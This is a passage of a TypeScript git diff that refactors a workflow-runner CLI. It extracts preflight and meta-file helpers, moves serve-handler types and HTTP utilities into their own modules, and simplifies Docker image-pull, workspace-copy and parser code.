(reportPreflight(credPreflight.warnings, credPreflight.errors)) return 1; // trusted_envs pre-flight: a declared key with no host/--env value fails // before anything is spawned, like a bare `--env KEY` with no host value. const trustedPlan = planTrustedEnvs(graph, extraEnv, process.env); - for (const w of trustedPlan.warnings) { - process.stderr.write(`${w}\n`); - } - if (trustedPlan.errors.length > 0) { - for (const e of trustedPlan.errors) { - process.stderr.write(`${e}\n`); - } - return 1; - } + if (reportPreflight(trustedPlan.warnings, trustedPlan.errors)) return 1; if (dockerConfigForBanner.enabled) { checkDockerAvailable(); prepareImage(dockerConfigForBanner); @@ -376,8 +357,7 @@ async function runWorkflowRaw( try { applySandboxFlags(runtimeEnv, sandboxFlags); } catch (err) { - process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); - return 1; + return failWith(err); } // Raw mode runs host-only (used for embedding and the Docker inner run); // `--env` defines the workflow process's env directly. @@ -427,16 +407,45 @@ export function shouldExportRawTelemetry(env: NodeJS.ProcessEnv): boolean { return !env[DOCKER_SANDBOX_ENV]; } -/** Read `run_dir=` from a runner meta file; undefined when absent/unwritten. */ -function readRunDirFromMeta(metaFile: string): string | undefined { - if (!existsSync(metaFile)) return undefined; +/** Write an error's message to stderr and return exit code 1. */ +function failWith(err: unknown): 1 { + process.stderr.write(`${err instanceof Error ? err.message : String(err)}\n`); + return 1; +} + +/** Print preflight warnings, then errors; returns true when the errors mean the run must abort. */ +function reportPreflight(warnings: string[], errors: string[]): boolean { + for (const w of warnings) { + process.stderr.write(`${w}\n`); + } + if (errors.length > 0) { + for (const e of errors) { + process.stderr.write(`${e}\n`); + } + return true; + } + return false; +} + +/** Read `key=value` lines from a runner meta file; returns the trimmed value per requested key (absent when missing/empty). */ +function readMetaFields(metaFile: string, keys: readonly string[]): Record { + const out: Record = {}; + if (!existsSync(metaFile)) return out; for (const line of readFileSync(metaFile, "utf8").split(/\r?\n/)) { - if (line.startsWith("run_dir=")) { - const value = line.slice("run_dir=".length).trim(); - if (value) return value; + for (const key of keys) { + const prefix = `${key}=`; + if (line.startsWith(prefix)) { + const value = line.slice(prefix.length).trim(); + if (value) out[key] = value; + } } } - return undefined; + return out; +} + +/** Read `run_dir=` from a runner meta file; undefined when absent/unwritten. */ +function readRunDirFromMeta(metaFile: string): string | undefined { + return readMetaFields(metaFile, ["run_dir"]).run_dir; } function writeWorkflowRootLabel( @@ -589,22 +598,9 @@ async function reportResult( ): Promise { const elapsedMs = Date.now() - startedAt; const elapsedLabel = formatElapsedDuration(elapsedMs); - let runDir: string | undefined; - let summaryFile: string | undefined; - - if (existsSync(metaFile)) { - const metaLines = readFileSync(metaFile, "utf8").split(/\r?\n/); - for (const line of metaLines) { - if (line.startsWith("run_dir=")) { - const value = line.slice("run_dir=".length).trim(); - if (value) runDir = value; - } - if (line.startsWith("summary_file=")) { - const value = line.slice("summary_file=".length).trim(); - if (value) summaryFile = value; - } - } - } + const metaFields = readMetaFields(metaFile, ["run_dir", "summary_file"]); + let runDir: string | undefined = metaFields.run_dir; + let summaryFile: string | undefined = metaFields.summary_file; // Docker mode: container meta file is inaccessible from host. // Discover the run directory from the bind-mounted sandbox runs dir. if (!runDir && sandboxRunDir && expectedRunId) { diff --git a/src/cli/serve/handler.ts b/src/cli/serve/handler.ts index 827ed26b..e7f126a6 100644 --- a/src/cli/serve/handler.ts +++ b/src/cli/serve/handler.ts @@ -16,6 +16,10 @@ import { } from "./runfiles"; import { hashArgs } from "./run-store"; import { createAuthenticator, openPrincipal, type Authenticator, type Capability, type Principal } from "./auth"; +import { safeJsonObject, isJsonContentType, clampInt } from "./http-util"; +import type { RunStatus, RunRecord, ServeRequest, ServeResponse, ServeHandlerOptions } from "./types"; + +export type { RunStatus, RunRecord, ServeRequest, ServeResponse, ServeHandlerOptions } from "./types"; /** 1 MiB cap on request bodies (design doc). */ export const MAX_BODY_BYTES = 1024 * 1024; @@ -25,178 +29,6 @@ export const DEFAULT_RUNS_PAGE = 100; /** Hard maximum page size for `GET /v1/runs` — a `limit` above this is clamped. */ export const MAX_RUNS_PAGE = 1000; -/** - * `interrupted` is a terminal state reserved for a run that was `running` when - * the serving process died: on restart it is reconciled out of `running` (a run - * is never reported as permanently running) but its real outcome is unknown, so - * it is neither `succeeded` nor `failed`. - */ -export type RunStatus = "running" | "succeeded" | "failed" | "cancelled" | "interrupted"; - -/** In-memory record for one run: the public run object plus cancel bookkeeping. */ -export interface RunRecord { - run_id: string; - workflow: string; - status: RunStatus; - started_at: string; - ended_at: string | null; - exit_status: number | null; - signal: string | null; - result_text: string | null; - run_dir: string | null; - /** Set once a cancel is requested, so terminal status resolves to `cancelled`. */ - cancelled: boolean; - /** Child terminator registered by the executor; kills the run + container. */ - cancel?: () => void; - /** Monotonic insertion index for newest-first listing. */ - order: number; - /** - * Composite idempotency key (`principal\nworkflow\nkey`) this run reserved, so - * eviction can drop the index entry and startup can rebuild the index. Absent - * when the create carried no `Idempotency-Key`. - */ - idempotency_key?: string; - /** - * Authenticated principal (subject) that created the run. The audit identity - * — never a token — that also scopes idempotency and ownership. Persisted for - * reconstruction. `anonymous`/`operator` in open/static mode. - */ - principal?: string; - /** Request/correlation id attached at create time (audit + telemetry). */ - correlation_id?: string; - /** SHA-256 of the run's canonical args, compared to reject a reused key with changed args. */ - args_hash?: string; - /** - * Cached result of the injected `resolveRunDir` scan for a still-running run, - * so a live SSE poll loop resolves the runs tree at most once. Never part of - * the public run object; `run_dir` (set at finalize) takes precedence. - */ - resolvedRunDir?: string; -} - -/** A normalized inbound request — decoupled from `node:http` so it is unit-testable. */ -export interface ServeRequest { - method: string; - /** Pathname without the query string. */ - path: string; - query: URLSearchParams; - headers: Record; - /** Decoded request body (empty string when none). */ - body: string; - /** True when the HTTP layer aborted reading past `MAX_BODY_BYTES`. */ - bodyTooLarge?: boolean; -} - -/** A normalized response the HTTP layer writes back. */ -export interface ServeResponse { - status: number; - headers: Record; - body: string; - /** - * Absolute path + byte count of a file to stream as the body (artifact - * download / NDJSON journal). The HTTP layer pipes exactly `size` bytes with - * backpressure and never buffers the whole file; takes precedence over - * `body`. - */ - bodyFile?: { path: string; size: number }; - /** - * When set, the HTTP layer streams the body by driving this function instead - * of writing `body` — used for the SSE event follow. It resolves when the - * stream is complete (run terminal or client gone); the layer then ends the - * response. - */ - stream?: (target: StreamTarget) => Promise; -} - -export interface ServeHandlerOptions { - version: string; - /** `info.title` for the generated OpenAPI document. */ - serverTitle: string; - /** Current tool list (re-read per request so hot reload just works). */ - getTools: () => McpToolSpec[]; - /** Execute one workflow. The caller supplies `runId`; `ctx` carries cancel. */ - callTool: ( - spec: McpToolSpec, - args: Record, - runId: string, - ctx: WorkflowCallContext, - ) => Promise; - /** - * Static single-operator bearer token. When set (and no `authenticator` is - * injected) every `/v1/*` and `/mcp` request must present it. Single-operator, - * not multi-tenant — for per-user identity/authorization pass an `authenticator`. - */ - token?: string; - /** - * Authentication/authorization engine. When omitted the handler builds one - * from `token` (static) or, with neither, open mode (anonymous, all - * capabilities). The serve command injects the OIDC/JWT authenticator here. - */ - authenticator?: Authenticator; - /** - * Expose `GET /docs` (Swagger UI) and `GET /openapi.json`. Default `true`; - * `false` returns 404 for both so a hardened deployment can hide its API - * surface. `/healthz` is always available and credential-free. - */ - exposeDocs?: boolean; - /** Cap on simultaneously-running workflows (429 beyond it). */ - maxConcurrent: number; - /** - * Max completed (terminal) runs kept in the in-memory registry. When the - * terminal count exceeds this, the oldest terminal records are evicted first. - * Active (`running`) runs are never evicted. `0` disables count eviction. - * Eviction only drops the in-memory record; the durable `run_summary.jsonl` - * and `artifacts/` on disk are untouched (their retention is the operator's). - */ - retainRuns?: number; - /** - * Max age in seconds of a completed run's `ended_at` before it is evicted - * from the in-memory registry. `0` disables age eviction. Same disk caveat - * as {@link retainRuns}. - */ - retainAgeSec?: number; - /** Current-time source (ISO string), injectable for tests. */ - now: () => string; - /** Diagnostic line (stderr) for the embedded MCP endpoint. Defaults to a no-op. */ - log?: (line: string) => void; - /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ - newRunId?: () => string; - /** - * Resolve a still-running run's host-side run directory (the one holding - * `run_summary.jsonl` and `artifacts/`). Consulted by the events/artifacts - * endpoints only while the record's own `run_dir` (populated at finalize) is - * absent, and the first non-null result is cached on the record — so one - * live SSE connection scans the runs tree at most once, no matter how many - * times it polls. The server supplies a resolver that scans the runs root by - * run id. - */ - resolveRunDir?: (record: RunRecord) => string | null; - /** SSE journal-follow poll interval (ms). Defaults to 250. */ - ssePollMs?: number; - /** SSE keep-alive comment cadence (ms). Defaults to 15000. */ - sseKeepAliveMs?: number; - /** - * Max size in bytes of one artifact download; a larger file is refused with - * 413. `0` (the default) serves any size — downloads stream with - * backpressure, so size never translates into server memory. - */ - maxArtifactBytes?: number; - /** - * Records reconstructed from the durable runs tree at startup (terminal runs - * reloaded from their persisted `run.json`, plus interrupted runs reconciled - * out of `running`). Seeded into the registry before the first request so - * list/get/events/artifacts and idempotency survive a process restart. The - * order is oldest-first; the handler assigns monotonic `order`. - */ - initialRuns?: RunRecord[]; - /** - * Persist a run's public record beside its journal when it finalizes, so a - * later restart can reload it. Defaults to a no-op (tests that don't exercise - * durability skip it); the serve command supplies the real filesystem writer. - */ - persistRun?: (record: RunRecord) => void; -} - function isTerminal(status: RunStatus): boolean { return status === "succeeded" || status === "failed" || status === "cancelled" || status === "interrupted"; } @@ -945,32 +777,3 @@ export class ServeHandler { return this.error(405, "E_METHOD_NOT_ALLOWED", "method not allowed"); } } - -/** Parse a JSON object, returning null for non-objects or malformed input. */ -function safeJsonObject(body: string): Record | null { - try { - const parsed: unknown = JSON.parse(body); - if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return null; - return parsed as Record; - } catch { - return null; - } -} - -function isJsonContentType(contentType: string | undefined): boolean { - return typeof contentType === "string" && contentType.split(";")[0].trim().toLowerCase() === "application/json"; -} - -/** - * Parse a query param as an integer, clamped to `[min, max]`. A missing or - * malformed value falls back to `fallback` (itself already within range), so a - * hostile `?limit=` can never widen the page beyond `max`. - */ -function clampInt(raw: string | null, fallback: number, min: number, max: number): number { - if (raw === null || raw.trim() === "") return fallback; - const n = Number(raw); - if (!Number.isInteger(n)) return fallback; - if (n < min) return min; - if (n > max) return max; - return n; -} diff --git a/src/cli/serve/http-util.ts b/src/cli/serve/http-util.ts new file mode 100644 index 00000000..2c4a6fd6 --- /dev/null +++ b/src/cli/serve/http-util.ts @@ -0,0 +1,28 @@ +/** Parse a JSON object, returning null for non-objects or malformed input. */ +export function safeJsonObject(body: string): Record | null { + try { + const parsed: unknown = JSON.parse(body); + if (typeof parsed !== "object" || parsed === null || Array.isArray(parsed)) return null; + return parsed as Record; + } catch { + return null; + } +} + +export function isJsonContentType(contentType: string | undefined): boolean { + return typeof contentType === "string" && contentType.split(";")[0].trim().toLowerCase() === "application/json"; +} + +/** + * Parse a query param as an integer, clamped to `[min, max]`. A missing or + * malformed value falls back to `fallback` (itself already within range), so a + * hostile `?limit=` can never widen the page beyond `max`. + */ +export function clampInt(raw: string | null, fallback: number, min: number, max: number): number { + if (raw === null || raw.trim() === "") return fallback; + const n = Number(raw); + if (!Number.isInteger(n)) return fallback; + if (n < min) return min; + if (n > max) return max; + return n; +} diff --git a/src/cli/serve/types.ts b/src/cli/serve/types.ts new file mode 100644 index 00000000..3b51274a --- /dev/null +++ b/src/cli/serve/types.ts @@ -0,0 +1,176 @@ +import type { McpToolSpec } from "../mcp/tools"; +import type { WorkflowCallResult, WorkflowCallContext } from "../exec/call"; +import type { StreamTarget } from "./runfiles"; +import type { Authenticator } from "./auth"; + +/** + * `interrupted` is a terminal state reserved for a run that was `running` when + * the serving process died: on restart it is reconciled out of `running` (a run + * is never reported as permanently running) but its real outcome is unknown, so + * it is neither `succeeded` nor `failed`. + */ +export type RunStatus = "running" | "succeeded" | "failed" | "cancelled" | "interrupted"; + +/** In-memory record for one run: the public run object plus cancel bookkeeping. */ +export interface RunRecord { + run_id: string; + workflow: string; + status: RunStatus; + started_at: string; + ended_at: string | null; + exit_status: number | null; + signal: string | null; + result_text: string | null; + run_dir: string | null; + /** Set once a cancel is requested, so terminal status resolves to `cancelled`. */ + cancelled: boolean; + /** Child terminator registered by the executor; kills the run + container. */ + cancel?: () => void; + /** Monotonic insertion index for newest-first listing. */ + order: number; + /** + * Composite idempotency key (`principal\nworkflow\nkey`) this run reserved, so + * eviction can drop the index entry and startup can rebuild the index. Absent + * when the create carried no `Idempotency-Key`. + */ + idempotency_key?: string; + /** + * Authenticated principal (subject) that created the run. The audit identity + * — never a token — that also scopes idempotency and ownership. Persisted for + * reconstruction. `anonymous`/`operator` in open/static mode. + */ + principal?: string; + /** Request/correlation id attached at create time (audit + telemetry). */ + correlation_id?: string; + /** SHA-256 of the run's canonical args, compared to reject a reused key with changed args. */ + args_hash?: string; + /** + * Cached result of the injected `resolveRunDir` scan for a still-running run, + * so a live SSE poll loop resolves the runs tree at most once. Never part of + * the public run object; `run_dir` (set at finalize) takes precedence. + */ + resolvedRunDir?: string; +} + +/** A normalized inbound request — decoupled from `node:http` so it is unit-testable. */ +export interface ServeRequest { + method: string; + /** Pathname without the query string. */ + path: string; + query: URLSearchParams; + headers: Record; + /** Decoded request body (empty string when none). */ + body: string; + /** True when the HTTP layer aborted reading past `MAX_BODY_BYTES`. */ + bodyTooLarge?: boolean; +} + +/** A normalized response the HTTP layer writes back. */ +export interface ServeResponse { + status: number; + headers: Record; + body: string; + /** + * Absolute path + byte count of a file to stream as the body (artifact + * download / NDJSON journal). The HTTP layer pipes exactly `size` bytes with + * backpressure and never buffers the whole file; takes precedence over + * `body`. + */ + bodyFile?: { path: string; size: number }; + /** + * When set, the HTTP layer streams the body by driving this function instead + * of writing `body` — used for the SSE event follow. It resolves when the + * stream is complete (run terminal or client gone); the layer then ends the + * response. + */ + stream?: (target: StreamTarget) => Promise; +} + +export interface ServeHandlerOptions { + version: string; + /** `info.title` for the generated OpenAPI document. */ + serverTitle: string; + /** Current tool list (re-read per request so hot reload just works). */ + getTools: () => McpToolSpec[]; + /** Execute one workflow. The caller supplies `runId`; `ctx` carries cancel. */ + callTool: ( + spec: McpToolSpec, + args: Record, + runId: string, + ctx: WorkflowCallContext, + ) => Promise; + /** + * Static single-operator bearer token. When set (and no `authenticator` is + * injected) every `/v1/*` and `/mcp` request must present it. Single-operator, + * not multi-tenant — for per-user identity/authorization pass an `authenticator`. + */ + token?: string; + /** + * Authentication/authorization engine. When omitted the handler builds one + * from `token` (static) or, with neither, open mode (anonymous, all + * capabilities). The serve command injects the OIDC/JWT authenticator here. + */ + authenticator?: Authenticator; + /** + * Expose `GET /docs` (Swagger UI) and `GET /openapi.json`. Default `true`; + * `false` returns 404 for both so a hardened deployment can hide its API + * surface. `/healthz` is always available and credential-free. + */ + exposeDocs?: boolean; + /** Cap on simultaneously-running workflows (429 beyond it). */ + maxConcurrent: number; + /** + * Max completed (terminal) runs kept in the in-memory registry. When the + * terminal count exceeds this, the oldest terminal records are evicted first. + * Active (`running`) runs are never evicted. `0` disables count eviction. + * Eviction only drops the in-memory record; the durable `run_summary.jsonl` + * and `artifacts/` on disk are untouched (their retention is the operator's). + */ + retainRuns?: number; + /** + * Max age in seconds of a completed run's `ended_at` before it is evicted + * from the in-memory registry. `0` disables age eviction. Same disk caveat + * as {@link retainRuns}. + */ + retainAgeSec?: number; + /** Current-time source (ISO string), injectable for tests. */ + now: () => string; + /** Diagnostic line (stderr) for the embedded MCP endpoint. Defaults to a no-op. */ + log?: (line: string) => void; + /** Run-id source, injectable for tests. Defaults to `randomUUID`. */ + newRunId?: () => string; + /** + * Resolve a still-running run's host-side run directory (the one holding + * `run_summary.jsonl` and `artifacts/`). Consulted by the events/artifacts + * endpoints only while the record's own `run_dir` (populated at finalize) is + * absent, and the first non-null result is cached on the record — so one + * live SSE connection scans the runs tree at most once, no matter how many + * times it polls. The server supplies a resolver that scans the runs root by + * run id. + */ + resolveRunDir?: (record: RunRecord) => string | null; + /** SSE journal-follow poll interval (ms). Defaults to 250. */ + ssePollMs?: number; + /** SSE keep-alive comment cadence (ms). Defaults to 15000. */ + sseKeepAliveMs?: number; + /** + * Max size in bytes of one artifact download; a larger file is refused with + * 413. `0` (the default) serves any size — downloads stream with + * backpressure, so size never translates into server memory. + */ + maxArtifactBytes?: number; + /** + * Records reconstructed from the durable runs tree at startup (terminal runs + * reloaded from their persisted `run.json`, plus interrupted runs reconciled + * out of `running`). Seeded into the registry before the first request so + * list/get/events/artifacts and idempotency survive a process restart. The + * order is oldest-first; the handler assigns monotonic `order`. + */ + initialRuns?: RunRecord[]; + /** + * Persist a run's public record beside its journal when it finalizes, so a + * later restart can reload it. Defaults to a no-op (tests that don't exercise + * durability skip it); the serve command supplies the real filesystem writer. + */ + persistRun?: (record: RunRecord) => void; +} diff --git a/src/format/emit.ts b/src/format/emit.ts index cbc30765..01d69411 100644 --- a/src/format/emit.ts +++ b/src/format/emit.ts @@ -148,6 +148,30 @@ function emitConfigStringRhs(value: string): string { return JSON.stringify(value); } +/** + * Config keys in canonical emit order, used for the fallback when no original + * `configBodySequence` is recorded. `runtime.docker_enabled` is intentionally + * absent — it is never re-emitted (see {@link emitConfigKeyLines}). + */ +const DEFAULT_CONFIG_KEY_ORDER = [ + "agent.model", + "agent.command", + "agent.backend", + "agent.trusted_workspace", + "agent.cursor_flags", + "agent.claude_flags", + "run.debug", + "run.logs_dir", + "run.recover_limit", + "runtime.docker_image", + "runtime.docker_network", + "runtime.docker_timeout_seconds", + "module.name", + "module.version", + "module.description", + "trusted_envs", +]; + function emitConfigKeyLines(meta: WorkflowMetadata, key: string, pad: string): string[] { switch (key) { case "agent.model": @@ -219,33 +243,10 @@ function emitConfig(meta: WorkflowMetadata, pad: string, trivia: Trivia): string lines.push("}"); return lines.join("\n"); } - if (meta.agent) { - if (meta.agent.model !== undefined) lines.push(`${pad}agent.model = ${emitConfigStringRhs(meta.agent.model)}`); - if (meta.agent.command !== undefined) lines.push(`${pad}agent.command = ${emitConfigStringRhs(meta.agent.command)}`); - if (meta.agent.backend !== undefined) lines.push(`${pad}agent.backend = ${emitConfigStringRhs(meta.agent.backend)}`); - if (meta.agent.trustedWorkspace !== undefined) lines.push(`${pad}agent.trusted_workspace = ${emitConfigStringRhs(meta.agent.trustedWorkspace)}`); - if (meta.agent.cursorFlags !== undefined) lines.push(`${pad}agent.cursor_flags = ${emitConfigStringRhs(meta.agent.cursorFlags)}`); - if (meta.agent.claudeFlags !== undefined) lines.push(`${pad}agent.claude_flags = ${emitConfigStringRhs(meta.agent.claudeFlags)}`); - } - if (meta.run) { - if (meta.run.debug !== undefined) lines.push(`${pad}run.debug = ${meta.run.debug}`); - if (meta.run.logsDir !== undefined) lines.push(`${pad}run.logs_dir = ${emitConfigStringRhs(meta.run.logsDir)}`); - if (meta.run.recoverLimit !== undefined) lines.push(`${pad}run.recover_limit = ${meta.run.recoverLimit}`); - } - if (meta.runtime) { - if (meta.runtime.dockerImage !== undefined) lines.push(`${pad}runtime.docker_image = ${emitConfigStringRhs(meta.runtime.dockerImage)}`); - if (meta.runtime.dockerNetwork !== undefined) lines.push(`${pad}runtime.docker_network = ${emitConfigStringRhs(meta.runtime.dockerNetwork)}`); - if (meta.runtime.dockerTimeoutSeconds !== undefined) { - lines.push(`${pad}runtime.docker_timeout_seconds = ${meta.runtime.dockerTimeoutSeconds}`); - } - } - if (meta.module) { - if (meta.module.name !== undefined) lines.push(`${pad}module.name = ${emitConfigStringRhs(meta.module.name)}`); - if (meta.module.version !== undefined) lines.push(`${pad}module.version = ${emitConfigStringRhs(meta.module.version)}`); - if (meta.module.description !== undefined) lines.push(`${pad}module.description = ${emitConfigStringRhs(meta.module.description)}`); - } - if (meta.trustedEnvs !== undefined) { - lines.push(`${pad}trusted_envs = ${emitConfigStringRhs(meta.trustedEnvs.join(" "))}`); + // No recorded body sequence: emit every set key in canonical order. This + // mirrors emitConfigKeyLines exactly, so the two paths never diverge. + for (const key of DEFAULT_CONFIG_KEY_ORDER) { + lines.push(...emitConfigKeyLines(meta, key, pad)); } lines.push("}"); return lines.join("\n"); diff --git a/src/parse/workflow-brace.ts b/src/parse/workflow-brace.ts index f6874f09..ace20870 100644 --- a/src/parse/workflow-brace.ts +++ b/src/parse/workflow-brace.ts @@ -379,6 +379,30 @@ function tryParseConst(c: BlockCtx): BlockResult | null { }; } +type InlineScriptResult = ReturnType; + +/** Build an `inline_script` Expr from a parsed anonymous-script result. */ +function makeInlineScriptExpr(result: InlineScriptResult): Expr { + return { + kind: "inline_script", + body: result.body, + ...(result.lang ? { lang: result.lang } : {}), + args: result.args, + }; +} + +/** + * Build a triple-quoted literal Expr and record its trivia. `toRaw` selects the + * escaping: `fail` / `return` bodies go through `tripleQuoteBodyToRaw`, while + * `say`/`log` bodies keep the dedented body verbatim. + */ +function makeTripleQuotedLiteral(trivia: Trivia, body: string, toRaw: boolean): Expr { + const dedented = dedentTripleQuotedBody(body); + const expr: Expr = { kind: "literal", raw: toRaw ? tripleQuoteBodyToRaw(dedented) : dedented }; + trivia.setNode(expr, { tripleQuoted: true, rawBody: body }); + return expr; +} + function tryParseFail(c: BlockCtx): BlockResult | null { if (!/^fail\s+/.test(c.inner)) return null; const arg = c.inner.slice("fail".length).trimStart(); @@ -386,9 +410,7 @@ function tryParseFail(c: BlockCtx): BlockResult | null { const stepLoc = { line: c.innerNo, col: failCol }; if (arg.startsWith('"""')) { const { body, nextIdx } = consumeTripleQuotedArg(c.filePath, c.lines, c.idx, arg); - const raw = tripleQuoteBodyToRaw(dedentTripleQuotedBody(body)); - const message: Expr = { kind: "literal", raw }; - c.trivia.setNode(message, { tripleQuoted: true, rawBody: body }); + const message = makeTripleQuotedLiteral(c.trivia, body, true); return { step: { type: "say", level: "fail", message, loc: stepLoc }, nextIdx }; } if (isJaiphInterpolationRef(arg.trim())) { @@ -484,12 +506,7 @@ function tryParseRun(c: BlockCtx): BlockResult | null { const runBody = c.inner.slice("run ".length).trim(); if (runBody.startsWith("`")) { const result = parseAnonymousInlineScript(c.filePath, c.lines, c.idx, runBody, c.innerNo, runCol, true); - const body: Expr = { - kind: "inline_script", - body: result.body, - ...(result.lang ? { lang: result.lang } : {}), - args: result.args, - }; + const body = makeInlineScriptExpr(result); const stepLoc = { line: c.innerNo, col: runCol }; return parseInlineScriptTail(c, result, body, stepLoc); } @@ -519,12 +536,7 @@ function parseSayBody( if (arg.startsWith("run ") && arg.slice("run ".length).trimStart().startsWith("`")) { const runBody = arg.slice("run ".length).trim(); const result = parseAnonymousInlineScript(c.filePath, c.lines, c.idx, runBody, c.innerNo, col); - const message: Expr = { - kind: "inline_script", - body: result.body, - ...(result.lang ? { lang: result.lang } : {}), - args: result.args, - }; + const message = makeInlineScriptExpr(result); return { step: { type: "say", level, message, loc: stepLoc }, nextIdx: result.nextLineIdx }; } if (arg.startsWith("`") || arg.startsWith("```")) { @@ -532,9 +544,7 @@ function parseSayBody( } if (arg.startsWith('"""')) { const { body, nextIdx } = consumeTripleQuotedArg(c.filePath, c.lines, c.idx, arg); - const raw = dedentTripleQuotedBody(body); - const message: Expr = { kind: "literal", raw }; - c.trivia.setNode(message, { tripleQuoted: true, rawBody: body }); + const message = makeTripleQuotedLiteral(c.trivia, body, false); return { step: { type: "say", level, message, loc: stepLoc }, nextIdx }; } if (arg.startsWith('"') && !hasUnescapedClosingQuote(arg, 1)) { @@ -547,20 +557,17 @@ function parseSayBody( }; } -function tryParseLog(c: BlockCtx): BlockResult | null { - if (!c.inner.startsWith("log ") && c.inner !== "log") return null; - return parseSayBody(c, "log"); -} - -function tryParseLogerr(c: BlockCtx): BlockResult | null { - if (!c.inner.startsWith("logerr ") && c.inner !== "logerr") return null; - return parseSayBody(c, "logerr"); +/** Build a `log`/`logerr`/`logwarn` handler that fires on `` or ` …`. */ +function makeSayHandler(level: "log" | "logerr" | "logwarn"): BlockHandler { + return (c) => { + if (!c.inner.startsWith(`${level} `) && c.inner !== level) return null; + return parseSayBody(c, level); + }; } -function tryParseLogwarn(c: BlockCtx): BlockResult | null { - if (!c.inner.startsWith("logwarn ") && c.inner !== "logwarn") return null; - return parseSayBody(c, "logwarn"); -} +const tryParseLog = makeSayHandler("log"); +const tryParseLogerr = makeSayHandler("logerr"); +const tryParseLogwarn = makeSayHandler("logwarn"); function tryParseReturn(c: BlockCtx): BlockResult | null { const retLoc = { line: c.innerNo, col: c.innerRaw.indexOf("return") + 1 }; @@ -575,8 +582,7 @@ function tryParseReturn(c: BlockCtx): BlockResult | null { const returnValue = m[1].trim(); if (returnValue.startsWith('"""')) { const { body, nextIdx } = consumeTripleQuotedArg(c.filePath, c.lines, c.idx, returnValue); - const value: Expr = { kind: "literal", raw: tripleQuoteBodyToRaw(dedentTripleQuotedBody(body)) }; - c.trivia.setNode(value, { tripleQuoted: true, rawBody: body }); + const value = makeTripleQuotedLiteral(c.trivia, body, true); return { step: { type: "return", value, loc: retLoc }, nextIdx }; } const matchHead = returnValue.match(/^match\s+(.+?)\s*\{\s*$/); @@ -588,12 +594,7 @@ function tryParseReturn(c: BlockCtx): BlockResult | null { const runBody = returnValue.slice("run ".length).trim(); if (runBody.startsWith("`")) { const result = parseAnonymousInlineScript(c.filePath, c.lines, c.idx, runBody, c.innerNo, c.innerRaw.indexOf("run") + 1); - const value: Expr = { - kind: "inline_script", - body: result.body, - ...(result.lang ? { lang: result.lang } : {}), - args: result.args, - }; + const value = makeInlineScriptExpr(result); return { step: { type: "return", value, loc: retLoc }, nextIdx: result.nextLineIdx }; } // parseCallRefMultiline returns null only when runBody does not start with ref(. diff --git a/src/runtime/docker.ts b/src/runtime/docker.ts index fea2c4cd..b63dcb2b 100644 --- a/src/runtime/docker.ts +++ b/src/runtime/docker.ts @@ -263,19 +263,29 @@ export function checkDockerAvailable(): void { // Image pull // --------------------------------------------------------------------------- -export function pullImageIfNeeded(image: string): void { +/** True when the image is already present in the local Docker image store. */ +function imageExistsLocally(image: string): boolean { try { _dockerExec.run(["image", "inspect", image], { stdio: "ignore", timeout: 30_000 }); + return true; } catch { - // Image not present locally — pull it (--quiet suppresses layer progress) - try { - _dockerExec.run(["pull", "--quiet", image], { stdio: "ignore", timeout: 300_000 }); - } catch { - throw new Error(`E_DOCKER_PULL failed to pull image "${image}"`); - } + return false; + } +} + +/** Pull the image (`--quiet` suppresses layer progress); throws E_DOCKER_PULL on failure. */ +function pullImage(image: string): void { + try { + _dockerExec.run(["pull", "--quiet", image], { stdio: "ignore", timeout: 300_000 }); + } catch { + throw new Error(`E_DOCKER_PULL failed to pull image "${image}"`); } } +export function pullImageIfNeeded(image: string): void { + if (!imageExistsLocally(image)) pullImage(image); +} + function imageHasJaiph(image: string): boolean { try { _dockerExec.run( @@ -313,20 +323,9 @@ export function verifyImageHasJaiph(image: string): void { export function prepareImage(config: DockerRunConfig): string { const image = config.image; - let needsPull = false; - try { - _dockerExec.run(["image", "inspect", image], { stdio: "ignore", timeout: 30_000 }); - } catch { - needsPull = true; - } - - if (needsPull) { + if (!imageExistsLocally(image)) { process.stderr.write(`pulling image ${image}…\n`); - try { - _dockerExec.run(["pull", "--quiet", image], { stdio: "ignore", timeout: 300_000 }); - } catch { - throw new Error(`E_DOCKER_PULL failed to pull image "${image}"`); - } + pullImage(image); process.stderr.write(`pulled\n`); } @@ -454,12 +453,17 @@ class WorkspaceCloner { private cloneSupported = false; private firstFallbackReason: string | null = null; + /** Run one `cp` variant, throwing E_DOCKER_SANDBOX_COPY when it fails. */ + private copyOrThrow(flags: string[], src: string, dst: string): void { + const r = tryCp(flags, src, dst); + if (!r.ok) { + throw new Error(`E_DOCKER_SANDBOX_COPY failed to copy ${src} → ${dst}: ${r.stderr.trim()}`); + } + } + copy(src: string, dst: string): void { if (process.platform !== "darwin") { - const r = tryCp(["--reflink=auto", "-pR"], src, dst); - if (!r.ok) { - throw new Error(`E_DOCKER_SANDBOX_COPY failed to copy ${src} → ${dst}: ${r.stderr.trim()}`); - } + this.copyOrThrow(["--reflink=auto", "-pR"], src, dst); return; } @@ -471,10 +475,7 @@ class WorkspaceCloner { return; } this.firstFallbackReason = r.stderr.trim().split("\n")[0] || "cp -cR failed"; - const fb = tryCp(["-pR"], src, dst); - if (!fb.ok) { - throw new Error(`E_DOCKER_SANDBOX_COPY failed to copy ${src} → ${dst}: ${fb.stderr.trim()}`); - } + this.copyOrThrow(["-pR"], src, dst); return; } @@ -482,10 +483,7 @@ class WorkspaceCloner { const r = tryCp(["-cR"], src, dst); if (r.ok) return; } - const fb = tryCp(["-pR"], src, dst); - if (!fb.ok) { - throw new Error(`E_DOCKER_SANDBOX_COPY failed to copy ${src} → ${dst}: ${fb.stderr.trim()}`); - } + this.copyOrThrow(["-pR"], src, dst); } get fellBackToPlainCopy(): boolean { diff --git a/src/runtime/kernel/prompt.ts b/src/runtime/kernel/prompt.ts index cc1cab32..9fa9a550 100644 --- a/src/runtime/kernel/prompt.ts +++ b/src/runtime/kernel/prompt.ts @@ -140,17 +140,21 @@ export function resolvePromptConfig(env: NodeJS.ProcessEnv, configModel?: string return config; } +/** Basename of the agent command's first token (`/usr/bin/my-agent -x` → `my-agent`). */ +function agentCommandName(config: PromptConfig): string { + return basename(config.agentCommand.split(/\s+/)[0]); +} + /** True when the cursor backend uses a custom command (not cursor-agent). */ export function isCustomCommand(config: PromptConfig): boolean { if (config.backend !== "cursor") return false; - const command = config.agentCommand.split(/\s+/)[0]; - return basename(command) !== "cursor-agent"; + return agentCommandName(config) !== "cursor-agent"; } /** Resolve the display name for a prompt step (backend name or custom command basename). */ export function resolvePromptStepName(config: PromptConfig): string { if (isCustomCommand(config)) { - return 